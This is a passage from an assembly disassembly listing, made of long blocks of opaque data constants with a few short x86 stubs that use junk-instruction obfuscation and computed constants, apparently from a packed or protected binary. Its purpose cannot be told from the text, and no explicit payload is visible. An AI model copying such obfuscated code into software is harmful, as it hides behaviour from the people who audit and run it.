0E4833822h, 995AE0FDh, 79ED7FA9h dd 1728C2A4h, 70415439h, 0FCCBDD8Ch, 58BFA498h, 49h, 0E30D6FE0h dd 0F1D5B990h, 0C2274F9Dh, 3BD9F1Fh, 0B8C02D3Fh, 36E76B85h dd 0AA01D2EFh, 0A5F41881h, 0A5134892h, 10E3078Bh, 427D8B72h dd 826C9AFEh, 6009166Ah, 119843Ah, 0DC0A4E32h, 6AD11B7Fh dd 9066D056h, 7141EF78h, 6DD5DE8Fh, 7B5F231Eh, 0FA82DC07h dd 0B273FB61h, 3BBD9F23h, 798B15C7h, 60E991F5h, 242C163Ah dd 3A60E9A0h, 0BB35D327h, 0D0033A4Ah, 0F55FA954h, 0C8BC90AFh dd 0A5F35AF4h, 0B6C626AAh, 6ADEE338h, 0FD283216h, 0C3FE0BA5h dd 7AF41EFh, 446BEE02h, 9B4B3F03h, 307DC3EBh, 0B0BAC1DBh dd 7D5B50Bh, 0A5430334h, 0DA36A3CBh, 43B74E77h, 0E3E70F99h dd 642E49E6h, 0C818F01Eh, 2E49E6B8h, 6FD3EE39h, 0F55978BEh dd 7608859Fh, 0CCC4C1D3h, 201EEC1Dh, 1634h, 0D6FD000h dd 6540E476h, 0EABD9F1Fh, 0E3C7F205h, 2DB81Fh, 6FC00000h dd 5AE4760Dh, 941DB6D2h, 27C139C3h, 293C2145h, 52DCBD9Fh dd 0EE6659A3h, 3A60F69Ah, 0AFC7156Dh, 3A60F6DBh, 5BB856ACh dd 0DE3D9367h, 1B6FF8D5h, 2880532Ch, 32865DAh, 0A2F40000h dd 485F48ABh, 0FE0DFA79h, 0AFF710C3h, 5EA24390h, 1E45FC67h dd 599AA5FFh, 896A57ACh, 263D081Ch, 5281BCC9h, 5F2B43A9h dd 0D0C5863Ch, 0D5DEFB61h, 708372F8h, 7791F559h, 485C4993h dd 0DFA392E8h, 0E46987FBh, 2AB4A693h, 5393AEFBh, 0C3941D37h dd 0C3A442B8h, 0A9A90993h, 0A4B91331h, 961ECC20h, 0BD9FB80Bh dd 7544533Ch, 0C585AD11h, 103A6186h, 5E8F0580h, 4B2C35A8h dd 31h, 760D6F95h, 0D1EC39E4h, 8031B537h, 0EDBD9F05h, 41012195h dd 943A60CBh, 0E20B810Ch, 0D82C35C6h, 18ECDB2Dh, 0E0546BB1h dd 0DB9E48ACh, 0E7h, 4150BD25h, 0A6408408h, 0F56752A7h dd 0FFD6DD46h, 0F8161FD7h, 0C3DBCA10h, 0A1FB52FCh, 7EC2FD0Bh dd 0EB52261Ah, 0DCE1369Eh, 748372F8h, 0F6A7AB45h, 0CC2F4BADh dd 0F682779Dh, 72DD4192h, 0CDC39492h, 0B9568DB8h, 8DED516Ch dd 748654EFh, 0C2E6FAC7h, 859082FEh, 90E950B4h, 0AF383ADh dd 8EBD9FA5h, 4B3F0A1Fh, 957AD977h, 618AB580h, 0ACAE2B3Dh dd 0F672E1C5h, 2BC5F407h, 0E8720993h, 6C2B8544h, 2A300A44h dd 459EA1FBh, 139B50A8h, 3073F177h, 0F1751195h, 80FA3073h dd 60EFC337h, 8C6B401Ch, 0D300C743h, 0A1000001h, 8E57E55h dd 0F617CCFDh, 0A04D96ABh, 0FF87B5Ah, 0AA29CAF5h, 6D50A843h dd 3D0019F6h, 80BFC926h, 5461B253h, 46EE028Fh, 0C5863F02h dd 0DE4E3685h, 8F78FBDAh, 709D4F7Ah, 6EA2162Bh, 6FD127C0h dd 39E4760Dh, 0BB35D3EEh, 9F058233h, 2397EBBDh, 60CB4303h dd 0B8CA963Ah, 60CB5034h, 1AE3D73Ah, 9315330Ah, 0C74FFE12h dd 0B87A2C35h, 82000000h, 14F8D5DEh, 9C605FA5h, 7B465F4Eh dd 189639CDh, 1B8AC394h, 774B3F02h, 162374D9h, 0FAD720CDh dd 3A4EE670h, 8D3C6BE6h, 82BFC4B5h, 0F08CEC64h, 846D816Bh dd 794260D1h, 0F884D201h, 0BE6FF963h, 91F55978h, 0F5A7234Bh dd 0D2283A60h, 6542A034h, 0B58D446Dh, 102D76A7h, 738974F6h dd 0FDF42997h, 0D4289CABh, 6F03082Bh, 0B15CE80Bh, 50BD6B66h dd 0ACFA7548h, 4F8C6BC9h, 0E404FBh, 66B00000h, 0C1BF46Fh dd 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh, 855E61BBh dd 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh, 94C5863Eh dd 0DADEBF25h, 7A8F78FBh, 0DE6C944Fh, 0CD72F8D5h, 2109C9Ch dd 43C7613Ch, 0AEBC899Ah, 732D3931h, 0F71174EAh, 0F205F07Ch dd 0F11F73C7h, 0A6B4CFADh, 86DF850Eh, 0F84CB6BDh, 495C0411h dd 2EDF0478h, 0CC64E8E5h, 0A53DCF63h, 0AFECBDAh, 916554A3h dd 81E1DC28h, 601AABh, 3FE87DE2h, 0F02079FCh, 0A8515C56h dd 14F1625Fh, 9B423603h, 7FAEBC83h, 18F01E29h, 0E46867B1h dd 60D4E335h, 5AFD0822h, 2D8AF31Ah, 0AD684C0Eh, 0C9DEA01Fh dd 8BF68CF6h, 0A54A5B5Dh, 11FE6550h, 8245C904h, 16h, 60A7E15Eh dd 625A68E5h, 25C3271Eh, 4A50BD3Fh, 0A543870Bh, 0D4DE02F2h dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 68CF7BCFh, 0DE0h dd 56240C89h, 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h dd 19636824h, 1C890000h, 348DBA24h, 0CA817BA5h, 71D77D36h dd 9A4BBB53h, 0DA018A1Ah, 4EC815Bh, 89000000h, 4832424h dd 525B0424h, 1DE8B850h, 44310B5Bh, 8F580424h, 73810843h dd 5B1DE808h, 241C8B0Bh, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 5A2434FFh, 4C481h, 40E90000h, 0C9FFF95Ah, 0E4896FC0h dd 2477B815h, 0C5030612h, 0CF32E0FFh, 8C0359A4h, 3F5D5489h dd 737272Ch, 0BCC24059h, 4B740E2Ah, 0B6A34016h, 7B396354h dd 35715E7Ah, 48A421FFh, 3F9A6E60h, 0B4735836h, 2B06F77h dd 4EB5838h, 7488F07Ch, 54DE9h, 0B08F9B00h, 63342A3h, 0E8E130DDh dd 0BD849A0Bh, 0C3349A6h, 0E27960D7h, 53BCA79Eh, 3EC774Ah dd 0EC19DAF5h, 44B5AE9Bh, 384400A4h, 7CCBC586h, 0F8D5DE84h dd 605FA514h, 340112F3h, 0B18C9940h, 0E3091CCDh, 1DBBD719h dd 90E554C9h, 99FDD1A5h, 0C6C7DD35h, 0E14B5342h, 0F246BA99h dd 889D709Eh, 3F49A6BDh, 0E232D300h, 61B667EBh, 374DE85Ch dd 84751B6h, 0DCE93AEBh, 9C89F868h, 4B41C394h, 3C8936BAh dd 4F6F8874h, 4FFE608Eh, 7A3241B2h, 66h, 0F8D5DE82h, 0CFD7C614h dd 0C73B1665h, 0BE45F638h, 173174B2h, 94E43D4Fh, 32B3C9C3h dd 41EA2FDEh, 11A32h, 0DEE20000h, 0C416FAD7h, 1D5632BAh dd 0E1D9C394h, 17BFC647h, 6C51A60Eh, 6C40A498h, 0EAE93198h dd 0F9F42E66h, 394DE173h, 8EC3941Dh, 1D5E2A42h, 0E9D1C394h dd 0A3F25BF5h, 0E6DAF503h, 4A87907Dh, 0DADE6BA9h, 5FA617FBh dd 1D741094h, 71FBC394h, 941D89FDh, 0C0241EC3h, 64BE18ECh dd 0D0788069h, 0C2068AC7h, 1DF09418h, 377C394h, 6F9E3D2Fh dd 246A25B0h, 739C57F1h, 0D4C12B26h, 251C62CEh, 0B5197D51h dd 0EA53B751h, 3B8A29Fh, 0BAAACAEAh, 0D337D19Fh, 5E221F6Ah dd 26AA95EFh, 0A2162177h, 0FC092B6Eh, 0CF94F074h, 271BC394h dd 7B8A2EC3h, 41C55881h, 825132h, 0DEBF0000h, 0A617FBDAh dd 6AF4665Bh, 941D86C2h, 173109C3h, 0C394A33h, 8AC9D1B8h dd 6DB1906h, 0EE3887C9h, 27C89ABh, 14FD0822h, 0FA2B310Ch dd 0EA2E92AFh, 0B251463h, 5A65BF68h, 0C0FF07F6h, 0CADBD97Ch dd 41C40736h, 622232h, 0BDCA0000h, 81754850h, 56AAA34Dh dd 0E2329B6Fh, 271B3A7Eh, 8B1A5E53h, 35271E62h, 1D4703ABh dd 67C8C394h, 21CF231Eh, 9595CA46h, 6F01179Dh, 477A8970h dd 8B719FF3h, 186FD7DEh, 7B5F66BCh, 0EB5FB397h, 2B5FD761h dd 0B2C3941Dh, 95ED6A67h, 1D9AEB7Bh, 5E54C394h, 0F094B54Fh dd 1BD3240h, 5B000000h, 0AFED3DEh, 0F17B56A3h, 73C7FE04h dd 6865AE1Fh, 0D5AF4ABEh, 32E033D8h, 0ACB441F8h, 6CF7EB56h dd 0BD16A32h, 9E0E96E3h, 9F6357BDh, 0BE8E52Eh, 0C8BC899Ah dd 87CF002h, 9F3A61D2h, 8BF98DBBh, 0BE3A61D2h, 71826B7Ah dd 256E9F44h, 0D23256DEh, 4DB53A61h, 0E334E569h, 72B462D6h dd 4C798A73h, 0BFC46597h, 0BFA2C36h, 77BCFF2h, 15810E9h dd 6FFC0000h, 39E4760Dh, 296DD1ECh, 98F96DFFh, 15BD9EFFh dd 0C8CE3F2Dh, 27C10589h, 89297A23h, 0F4C3D57Fh, 287D2C90h dd 7155A91Dh, 0D6DECF1Dh, 19370BFFh, 6964B15Eh, 5BA657E5h dd 90BE9266h, 0BCC868BDh, 0DDE03881h, 4D311569h, 0EF149193h dd 48B4AF9Ah, 2C35C2A1h, 7088h, 1EBD5400h, 92BFEDEDh, 6737D1F4h dd 49DD0F14h, 0C394656Dh, 0DC14F8C2h, 0C39465A8h, 3D7570AAh dd 8517C55Eh, 6597F37Bh, 2218C394h, 65447004h, 5746C394h dd 0B990E341h, 0A0ACAB45h, 946A780Ch, 978BCFC3h, 76E91645h dd 0EF6913CBh, 9BB5A998h, 9DEF4CD8h, 403C1747h, 65E9E82Eh dd 3C23CD21h, 9Ah, 0F2988B30h, 15221F6Ah, 0D37DD506h, 4150BD6Dh dd 447B8108h, 2A729CF0h, 0F223C952h, 0F47690ADh, 9F053170h dd 0D722D3BDh, 4B3216FAh, 66E5033Eh, 0F84C7389h, 4BBAA084h dd 47BB0F32h, 249BA1A9h, 146AC46h, 1FEE18C8h, 0CB243F0Ah dd 373F83BEh, 3A608168h, 4FB43163h, 8AD40F3Ah, 128369F2h dd 0D9ADC10Eh, 0AE3A6081h, 14D67054h, 71668C90h, 0EB5FA344h dd 70C4F102h, 683ECFC5h, 30DD0F14h, 19387EEAh, 8C7D5125h dd 0CC9E4879h, 678D5458h, 4C97EB4Eh, 0F6CDD5C0h, 0D6FE258h dd 777E476h, 35E7AD7Eh, 0EE06E806h, 0BD8526E2h, 40FF6D55h dd 0B9DDB807h, 321630A9h, 72169E28h, 0F53A7A95h, 483C0D18h dd 17F61074h, 0C32C3702h, 90F940B6h, 9A3D63D3h, 0E112D2A6h dd 44ABE081h, 0C8B10530h, 0CA388CBDh, 49B9D5D0h, 58AD5253h dd 3340FF6Dh, 0D0976963h, 769750FEh, 9EAC102Dh, 59887B21h dd 0FD2B47E4h, 47CB0A10h, 45CFDEDAh, 9DE64258h, 84F8DCA0h dd 176DDC30h, 0FA0FFE28h, 8E724F5Ah, 5784564Ah, 56B03A2Ch dd 0D89BB5F1h, 9519DA2Fh, 44C042F1h, 0A4280C76h, 3E3h dd 9C840D00h, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh dd 0E78957CFh, 4C781h, 0EF830000h, 243C8704h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push esi push 182322C9h pop esi shl esi, 2 dec esi add esi, 47774B87h xor esi, 0AE11F3EFh push esi pop edx pop esi push esp mov eax, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, eax push edx pop dword ptr [ecx] pop ecx push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0DCA4h dd 0EF5BFE15h, 9585A06Bh, 0F9B87CBEh, 3061229h, 95E0FFC5h dd 63692924h, 53544CBBh, 3F0C56D1h, 37328C6Dh, 345351A1h dd 0EF3F3A4Ah, 0EA4E5EBAh, 8D6F714Ch, 0A053C3Ah, 49762FCAh dd 9011C65Eh, 9A45E6E4h, 17394E73h, 0B513ABD0h, 853DA2ABh dd 0A82937BDh, 90462B00h, 6366C4A1h, 5C2CA48Ah, 0F8115DDEh dd 0EB283535h, 0C7AFE304h, 52EE97Eh, 0D2240000h, 788F78FBh dd 2E7DAA49h, 0DF27C013h, 8E9273E0h, 0CE15ACB7h, 9EAD52Fh dd 0B9BA879Ch, 0D60D384Ch, 2D1EC39h, 8FFB73F9h, 0C58637h dd 0D5DECBB1h, 5FA514F8h, 0BD68FA60h, 0F793536Eh, 78C3941Dh dd 5C63BB02h, 0C3D431B2h, 4E5B02F6h, 1D656185h, 90EAC394h dd 1661C8BCh, 52917AE0h, 2D01E4DAh, 0AFB6959h, 8325C3FAh dd 0F70FFE02h, 0DA2F1EC8h, 8D9B74EFh, 961EA8B2h, 0C3943DF2h dd 0E30D75h, 370A1984h, 0D5E03419h, 5E63B861h, 0C6F903EAh dd 44E872h, 87C3943Dh, 8CB9CAB3h, 0D3D2C838h, 870682BFh dd 243F161Eh, 3F83BECBh, 943D5637h, 8B1A90C3h, 4110D871h dd 67F132h, 0BD1F0000h, 7269A81Eh, 65EC2B22h, 0EB628CFDh dd 17DFA39Eh, 0C3945175h, 16EAFBB1h, 32413CF7h, 1D2h, 0D7DE3A00h dd 372B166Fh, 2B8B9A43h, 3B1FE3DEh, 748A73C7h, 8C209F4Dh dd 0C58125F8h, 4AC39468h, 0F79CC770h, 8DC54DFBh, 63921697h dd 409271Ah, 714C55F1h, 0DC29C61Dh, 45E97BE1h, 0C3947301h dd 0D192BC86h, 0FBDADE23h, 625FA617h, 0E7E6209Eh, 11DBFA3Eh dd 0CEFD34AAh, 0C2068AC7h, 0F3848435h, 0A9169255h, 0A65A6972h dd 0CA43ED99h, 51388CB9h, 0D2BB0F42h, 57068AC7h, 0D08E724Dh dd 86BBD7D6h, 76DE2BDAh, 6AAE122Fh, 0CFDED876h, 41A60435h dd 0B72D32h, 0DECB0000h, 3E6220DAh, 0D6ABDF57h, 0C63CC394h dd 0D7D5A039h, 535E0FF3h, 0DB238A7Eh, 0E476B03Fh, 0FCD08889h dd 645BA108h, 6D78B290h, 0EAFB3111h, 1AC0FF05h, 0F4606488h dd 93E7C394h, 0F4A12549h, 0DC26C394h, 4C54B132h, 0E93AEB71h dd 0B90D3049h, 629D6145h, 80331D99h, 3A83E7E7h, 1468DCE9h dd 0D9C416FAh, 0CA0EF2C1h, 1CE9311Ch, 9457FC88h, 2B0F73C3h dd 0F7F6A2A7h, 413CDC1Dh, 0C5D3C232h, 24C2068Ah, 475Dh dd 0DADEBB00h, 0BBC517FBh, 0A4B72004h, 43835974h, 0C394CE07h dd 0B994B288h, 89EC506Fh, 386B3CA3h, 5D0C1E79h, 0FF4F1B3h dd 9F29CAF5h, 12F266Eh, 0FAD7DE1Bh, 1DAFDE16h, 2D67C394h dd 0F0C168A0h, 1E83240h, 74000000h, 0AFED3DEh, 15CF9BC0h dd 0E9C3A2DDh, 7EC5CE3Fh, 0BB4B768Fh, 0C39477CFh, 29DD7A40h dd 0DD8FBBCBh, 0E31EE2C6h, 5D68BC69h, 0FF4F1B3h, 9A16CDFCh dd 3AE0E408h, 1367C394h, 48D3A9F5h, 85AB10A2h, 755B37DCh dd 9D986C9Ah, 52BD9E2Ch, 0E035E468h, 94E10ED5h, 6F1DD5B9h dd 5A3A61B0h, 98058F1Eh, 0BA93BD80h, 1F8E5C69h, 6B0C3A05h dd 8E5C69BAh, 0E7AF27Ch, 813A61B0h, 0B0DDA9B9h, 68523A61h dd 96E34ABEh, 2F69D7BBh, 112C799Eh, 0B03446C2h, 3A61B0D4h dd 96A3F25Bh, 608AEE22h, 61B0B8CCh, 1DCB0F3Ah, 369E0A23h dd 10F272Ch, 6FC10000h, 40E4760Dh, 0BD9EFF11h, 47B6A49Eh dd 67EB0534h, 0EA66DB6h, 3A60CF7Ah, 484AF5CDh, 31EA7400h dd 0AA263D11h, 7F273D35h, 0AE58DF09h, 8B7F4A5Fh, 10E4D122h dd 0B8616CA6h, 81B0C76Fh, 7EE5D93Dh, 35206B82h, 3D462Ch dd 0BDAE0000h, 85744550h, 14A8467Dh, 0C66EFC87h, 0C3941DD2h dd 9CADF855h, 0CF0D428h, 941DA024h, 6D78B2C3h, 0FDD6635h dd 941DB3E7h, 262D9C3h, 5D59C2A8h, 0B9817EA8h, 875BBAh dd 6FE50000h, 40E4760Dh, 0BD9F0521h, 3C948FAEh, 90592428h dd 0DBAFB815h, 32160AB2h, 0BF8A9F4Eh, 33E4BA4h, 47E8B7BFh dd 44573A60h, 0C0D88175h, 0E33909FDh, 4F95A8E2h, 714C59BEh dd 53E8B4E2h, 39041C89h, 88C95D0Fh, 48447258h, 0D17F4A5Dh dd 0D5840872h, 0D567F5C0h, 76323551h, 0A640BA30h, 0F0FDB7A2h dd 9359E2BAh, 3299ED01h, 816E3076h, 97EB5F72h, 53DB95B3h dd 4E642D02h, 673699C6h, 0A77B687Eh, 0A3B08A89h, 0E30D6F55h dd 9D3A79Ah, 941DE1E5h, 381C66C3h, 1DCEBA32h, 7941C394h dd 1E5FD705h, 0AFBD8602h, 0CB55E76Bh, 79C827A3h, 625FA63Ah dd 0E5DDBA9Eh, 84B1C24Bh, 6865AE5Fh, 7AC24CE4h, 0C8E2B5ACh dd 0F6C3D43Dh, 0DD51E36Dh, 428C28A9h, 232AC43Eh, 2F266ED6h dd 6BF547CBh, 8C2887C3h, 14320842h, 6ED2E139h, 0CF34B1F3h dd 0D35D8FBAh, 8C282F5Bh, 0AC5AA042h, 0FCC9DACBh, 10B708h dd 78A50000h, 440E42Fh, 8B428C28h, 4FB553B7h, 0D4DE9C84h dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 51CF7BCFh, 0C181E189h dd 4, 8704E983h, 895C240Ch, 3E68240Ch, 8900001Eh, 89532414h dd 4C381E3h, 83000000h, 1C8704EBh, 34895C24h, 4DA46824h dd 3C890000h, 2AFABF24h, 0FA890612h, 4EC835Fh, 83242489h dd 5E042404h, 0D6895651h, 895EF189h, 0FF59084Eh, 815E2434h dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF94F1Bh, 0E4506B3Fh dd 0E0EB5122h, 0CEFB25ADh, 122FAFB8h, 0FFC50306h, 178EE7E0h dd 50D55B4Bh, 0A66C0665h, 0E9CA416Eh, 4F356911h, 1DD50118h dd 35DD4101h, 848ED205h, 3367080Eh, 75782949h, 0C0263230h dd 5E04EB60h, 0E9348C04h, 53Bh, 8E556CB6h, 383B1661h, 568DBCCFh dd 815261B9h, 32211C64h, 7B815C83h, 296E9F44h, 0D6DECF14h dd 7E8B64FFh, 816B9043h, 862D196Dh, 0B91FEEC5h, 0E60ED5DEh dd 0C3941DE2h, 743EB65h, 88C3941Dh, 967A5EB2h, 2E77DD27h dd 0B9FEAF13h, 0F8DC3084h, 40340B11h, 0DACB280Ch, 0F16EFCC9h dd 2F78C03Ch, 48C06E1Bh, 0D5B994E1h, 63B51164h, 48ACE054h dd 17968CC4h, 0E73DA5EEh, 3C1074D8h, 87BEC627h, 6A65B35Ch dd 8EE37E6h, 0A0E92BA3h, 9D337DEh, 0D5B9849Ch, 71AB46F1h dd 0EEED711h, 7FCD68E0h, 7F0D79EDh, 0B882C394h, 7099148Eh dd 0DDCA2924h, 0D909FDC8h, 0C3947FA8h, 1FE3DE2Bh, 9A6E63AEh dd 0EF7570AAh, 947F0347h, 5ABE84C3h, 2FE5E0BAh, 324152FEh dd 7B2Bh, 0D5DE3500h, 3D2F1A6Dh, 941DDDA9h, 746852C3h dd 0B4D054E6h, 3BC3941Dh, 12129C7h, 0C3941D43h, 379BB2C2h dd 0B3073E46h, 1D4105A9h, 0FCC6C394h, 8B119C96h, 941D6763h dd 0BE92E8C3h, 0B810C86h, 3240F0E2h, 0E3DE2DD8h, 1BC45h dd 0DE580000h, 0EC980CD7h, 63C3941Dh, 0F94D748Ah, 33BBA185h dd 0C3941D57h, 3A8EE2D8h, 81754453h, 0FF3C2D8h, 3BE0EDC7h dd 0E906DDECh, 42B2A19Ch, 17FBDADEh, 9E625FA6h, 3EE7E620h dd 0EF18DBFAh, 72DBAF9Ah, 0A3A62A27h, 0DD1CF4F1h, 0D43240F2h dd 78h, 0D6B23A44h, 59C39417h, 0DE51C761h, 2A276EDAh, 0BA0E62A6h dd 589C0D3h, 8D714C54h, 1A69CDDCh, 177FC327h, 96FE901Dh dd 90E8119Ch, 4359B6ADh, 3042887Ch, 941DC8BCh, 0DF591FC3h dd 513D2A73h, 0D72D9CE6h, 0B7CF3EE8h, 93010488h, 83FFE12h dd 426A3241h, 0F2000000h, 71FBDADEh, 3EB67184h, 0C3941D4Ah dd 3881E5DDh, 0DD35D3E2h, 592D186Ch, 68911C44h, 0CE362D10h dd 16FAD7DEh, 0FDC0D9C4h, 1DC28353h, 760CC394h, 0F16C9D77h dd 6453240h, 0D7000000h, 48E6DB26h, 0FED3DED2h, 7B56A30Ah dd 9F2E6A97h, 0CD162B76h dd 0C9BD3143h, 50C3941Dh, 4D817548h, 5E5E88F2h, 0BF37253Eh dd 0BD9EFCBAh, 1AC3B78Bh, 0B12E3C09h, 0C25DE87h, 99B8FEB9h dd 3FE88BA5h, 0C394AEAh, 3CB0C228h, 3A608D48h, 0C54DFBDFh dd 608D1F6Dh, 0FF0E2A3Ah, 743EB75h, 0E53A608Dh, 608D0541h dd 0C7B08A3Ah, 0AFF855F3h, 0EDD79F49h, 0FCD0AAB9h, 6A76E567h dd 74127269h, 256EDF09h, 6796A428h, 795D2110h, 18357ECFh dd 6FD523D2h, 41352918h, 5A67BC0Dh, 0B8FAA4ACh, 86B3C42Dh dd 0F850A954h, 8EB89CADh, 0EB022BD5h, 83382C35h, 0CCD8EB36h dd 5D4846F1h, 4BE07997h, 0C000001h, 96E30D6Fh, 119547BBh dd 0BD9EFF60h, 0F867F5CDh, 4256BDCCh, 0A723C473h, 26AA95EFh dd 0E8608EE2h, 1AD9F401h, 0D9AD98EDh, 0A62A2770h, 0A52FBEF8h dd 0F6102978h, 2C370217h, 0EA9E16A0h, 7D3A609Bh, 0D871EB05h dd 0F12C3576h, 6Eh, 0BB33BD1Fh, 0C3941DCFh, 6C188C40h dd 0E3C3941Dh, 318DBB9Fh, 0FB8F276Ah, 4CC3941Dh, 93C81276h dd 0C98D8E2Fh, 2A5ED6ABh, 0BDC3947Fh, 25C76145h, 947F9581h dd 0EF359AC3h, 0DC6EFCD0h, 947F3C48h, 5E65BDC3h, 0D12996EAh dd 7713D337h, 6DC3947Fh, 97E4BA4Bh, 7300F19h, 0D96DFB27h dd 0EDC30E4h, 9491B2E6h, 964DB5C3h, 916Fh, 0D6F8900h, 34031580h dd 80C40C40h, 7C3941Dh, 990DDF33h, 0BD9F05C8h, 6059A805h dd 0A756639Ch, 80455976h, 76C448ACh, 0F3477287h, 8B9C719Fh dd 3F48A5BEh, 0CDB18097h, 35479589h, 3A8EB3C8h, 117A0EC6h dd 0F5CD3A60h, 307FF75Bh, 3B3A6010h, 0F207ECF9h, 2B901CC7h dd 0E2343C88h, 0AFEF19C5h, 0A4B6CDh, 4472661Fh, 0F7A62A10h dd 362397A2h, 3CE97372h, 8168DCEDh, 92F65A79h, 700C90BEh dd 0C2ED01EBh, 0B34E6437h, 0ED18944Fh, 0E024A897h, 0D6FD046h dd 5F40E476h, 0D0BD860Dh, 3B1F2A7Fh, 0A09DE657h, 744152B3h dd 0B4D054E6h, 3B3A79CDh, 12129C7h, 6BE7DDBFh, 1B800D27h dd 0A420330Eh, 83F6921Ah, 17904DBh, 201D66E7h, 5895ED5Ch dd 0DB83B0D4h, 0EFC33704h, 0F7BF37Dh, 8004DB83h, 99848CBAh dd 10658A1Bh, 0C4D13E25h, 88370589h, 73532A69h, 877CAA20h dd 1Bh, 0C233BD21h, 0DC3084B1h, 941D7014h, 6583F7C3h, 0EA8936B2h dd 9707D2AAh, 0DE6AD07Eh, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh, 51E28952h, 4B9h, 59CA0100h, 8704EA83h, 685C2414h dd 757h, 68243C89h, 4A1h, 55242C89h, 127FABDh, 86EBF62h dd 0EF01A411h, 83242C8Bh, 8B5404C4h, 0C483242Ch, 0BF575304h dd 5AB353C5h, 0B353CDBBh, 5FFB315Ah, 3B89EB01h, 242C8B5Bh dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h dd 9CE904C4h, 0F3FFF949h, 0E5601CD3h, 0B89887CAh, 6123528h dd 0E0FFC503h, 1E62C495h, 38559B43h, 773BA587h, 15EA553Bh dd 4639202Ah, 1A606C1Bh, 0C1C3892h, 1B128C23h, 64F10BC9h dd 2144FC08h, 58A81746h, 463C84CFh, 60F89ED8h, 36BD8D8Dh dd 810F0612h, 3, 89DA8B66h, 0B174D8Dh, 13E806h, 65080000h dd 2EB03871h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h, 0A1958909h dd 5A060B22h, 10E9h, 23061D00h, 17653E1Dh, 4765AEE6h, 8395C814h dd 1985C79Fh, 28060B01h, 6A000067h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2D3C352h dd 3D97BBC3h, 8A7CB036h, 17CDBD89h, 85C7060Bh, 60B1009h dd 0 dd 890Fh, 0B5FF0000h, 60B0FD5h, 7E8h, 8EFD5200h, 7841E7E6h dd 5E9h, 0CD696500h, 815B4520h, 76B17BC0h, 0C595FF6Dh dd 6A060B0Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0A870C350h, 6AFB55h, 32DD95FFh dd 0C08B060Bh, 1B4A3CEBh, 9AB79EF2h, 8C5858C4h, 0DAC3D308h dd 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h, 431F5343h dd 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h, 0D24675E1h dd 70CD39C7h, 4EBA7C2h, 62C42642h, 50CE9h, 0F4C3D700h dd 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h dd 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh, 2AB8CC60h dd 400FC586h, 6DD5DED8h, 7B5F231Eh, 0B6CAB307h, 4ED8548Fh dd 0F57D4C5Fh, 0C3941D91h, 0B022C16h, 0ED7FC3FEh, 0B723054Eh dd 87A11332h, 9A407D86h, 0E0E0E408h, 1367C394h, 59AC1DF5h dd 76ACE468h, 0F400ED77h, 0CB1175D9h, 94E027A3h, 0B452A8C3h dd 0E2714C59h, 1FC4F305h, 0DBAFA6EEh, 0AC102D72h, 0BFCA3BB1h dd 2CDA3E82h, 82927B8Ah, 2A7FA84Bh, 6F94768Ah, 47384D95h dd 0AB1F7357h, 9416CABBh, 7F8E04C3h, 40FC6485h, 444D32h dd 2EDF0000h, 0D93FE9E8h, 14F8D5DEh, 941DAEDCh, 0A12C66C3h dd 0AE9BEA1Bh, 0F16F9E80h, 15A3240h, 0A2000000h, 16FAD7DEh dd 0FDC0D9C4h, 9EABFA53h, 43B432Ah, 4B5A50B0h, 0F5C0D4C1h dd 96A3F25Bh, 7A57A04Dh, 0DADE1BF9h, 5FA617FBh, 2E209E62h dd 0C36BACFFh, 0C3941D87h, 6ADE3208h, 2FBEF816h, 5083B2C6h dd 855762B7h, 1D97F37Bh, 2218C394h, 4E5D0C04h, 0D9DE8F73h dd 5EA910E4h, 0E7219F63h, 0EB7194E6h, 28F78474h, 29C7D7B0h dd 538A7E8Fh, 5E324140h, 7Bh, 0FAD523D2h, 2E143216h, 17FBDADEh dd 0A9BD5BA6h, 21873BF5h, 1990F478h, 2317C394h, 18357ECFh dd 3A705024h, 0A0F421ABh, 379E854Eh, 160A460Bh, 4DC06EA2h dd 3AEB0837h, 826BDFE6h, 5CF1457Ch, 8AB34944h, 0A7324119h dd 5Dh, 0FBDADE41h, 46738471h, 259AA0A8h, 35933231h, 36BEACEBh dd 0C3947B52h, 0CA43EDD5h, 0FA3F83BAh, 0B2C62FBEh, 7B95F175h dd 201AC394h, 0DEE117CCh, 0EC980CD7h, 63C3941Dh, 9F573B1Fh dd 0C3941DEEh, 237BAA38h, 6F437E89h, 12E6E7C1h, 3240F0FBh dd 0F7CED4C1h, 5821CF03h, 1, 0FED3DEA4h, 7B56A30Ah, 54E66A97h dd 941DB4D0h, 0EBE635C3h, 0B5542367h, 0A4420E62h, 6987FB33h dd 4A59BE4Fh, 0EF38E577h, 2C136BD2h, 67356102h, 0B90D3049h dd 73FB6145h, 0BD9E0966h, 0E93E35AAh, 0DDC58E7Eh, 1AEED433h dd 816B66B3h, 287D365Ah, 